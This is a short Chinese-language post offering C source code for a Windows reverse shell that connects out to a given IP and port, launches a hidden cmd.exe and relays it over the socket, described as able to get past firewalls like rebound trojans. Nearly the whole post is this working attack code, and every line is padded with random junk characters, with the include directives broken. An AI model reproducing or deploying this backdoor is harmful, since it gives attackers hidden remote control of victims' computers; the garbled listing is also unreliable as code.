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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R< @o]p  
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/* ============================== .QOQqU*2I  
Rebound port in Windows NT x' *,~u  
By wind,2006/7 <cG .V |B  
===============================*/ INSI$tA~  
#include -dbD&8  
#include yO.3~H)c  
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#pragma comment(lib,"wsock32.lib") :Z(?Ct&8  
1L1_x'tT%  
void OutputShell(); 86O"w*9  
SOCKET sClient; ']^e,9=Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9i@AOU  
|qbCmsY5/  
void main(int argc,char **argv) bsVms,&  
{ +4^XFPq~  
WSADATA stWsaData; cC w,b]  
int nRet; ~d6 _  
SOCKADDR_IN stSaiClient,stSaiServer; )BNm~sP  
6W$ #`N>  
if(argc != 3) wm0vqY+N$  
{ eCdx(4(\a  
printf("Useage:\n\rRebound DestIP DestPort\n"); U I|L;5  
return; G3&ES3L  
} /G`&k{SiK  
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WSAStartup(MAKEWORD(2,2),&stWsaData);  =Run  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B' 6^E#9  
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stSaiClient.sin_family = AF_INET; %Q"zU9  
stSaiClient.sin_port = htons(0); {;^boo q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,pir,Eozg  
g6 EdCG.V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0$l=ME(  
{ "{;]T  
printf("Bind Socket Failed!\n"); I$0`U;Xd  
return; xjOy3_Js  
} qT#+DDEAL  
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stSaiServer.sin_family = AF_INET; =N01!?{  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _=B(jJZ   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m s\:^a  
b_ Sh#d&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) vIG8m@-!&;  
{ L5%~H?K(  
printf("Connect Error!"); |GE3.g  
return;  S]ZO*+  
} kac@yQD  
OutputShell(); g#`(& k  
} !.iu_xJ  
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void OutputShell() n|NI]Qi*  
{ {@g3AG%  
char szBuff[1024]; UV)[a%/SB&  
SECURITY_ATTRIBUTES stSecurityAttributes; i:OD)l  
OSVERSIONINFO stOsversionInfo; hbR;zV|US  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l W'6rat  
STARTUPINFO stStartupInfo; AM##:4   
char *szShell; y% uUA]c*m  
PROCESS_INFORMATION stProcessInformation; ?PiJ7|  
unsigned long lBytesRead; 1 Y@6oT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <;#d*&]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h3a HCr E  
stSecurityAttributes.lpSecurityDescriptor = 0; 7~cN  
stSecurityAttributes.bInheritHandle = TRUE; IvetQ+  
;E:ra_l  
65N;PH59D  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `kyr\+hp  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); hnL"f[p@gC  
ujB:G0'r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xBG&ZM4"^f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U/yYQZ\)  
stStartupInfo.wShowWindow = SW_HIDE; $J[h(>-X  
stStartupInfo.hStdInput = hReadPipe; ~6!=_"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C5i]n? )S  
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GetVersionEx(&stOsversionInfo); #93;V'b]  
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switch(stOsversionInfo.dwPlatformId) .,l ?z  
{ !#3#}R.$Fl  
case 1: NeCTEe|V  
szShell = "command.com"; 6h}f^eJ:K,  
break; =/.[&DG  
default: x_v pds  
szShell = "cmd.exe"; eN>=x40  
break; P_hwa1~d  
} j!&g:{ e  
0Z2![n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >T.U\,om7  
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send(sClient,szMsg,77,0); `iv,aQ '  
while(1) &kXf)xc<~  
{ Cf<i"   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3 _:yHwkD  
if(lBytesRead) J.?6a:#bU/  
{ 0Vh|UJ'&7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wh(V?!^@5  
send(sClient,szBuff,lBytesRead,0); O9p8x2  
} 1 W2AE?  
else VZb0x)w  
{ ocAoqjlT[  
lBytesRead=recv(sClient,szBuff,1024,0); mcb0%  
if(lBytesRead<=0) break; /JtKn*?}:>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,S:g 5n>M  
} }c| Xr^  
} 3VB{Qj  
6 jRF[N8  
return; q,^^c1f  
}
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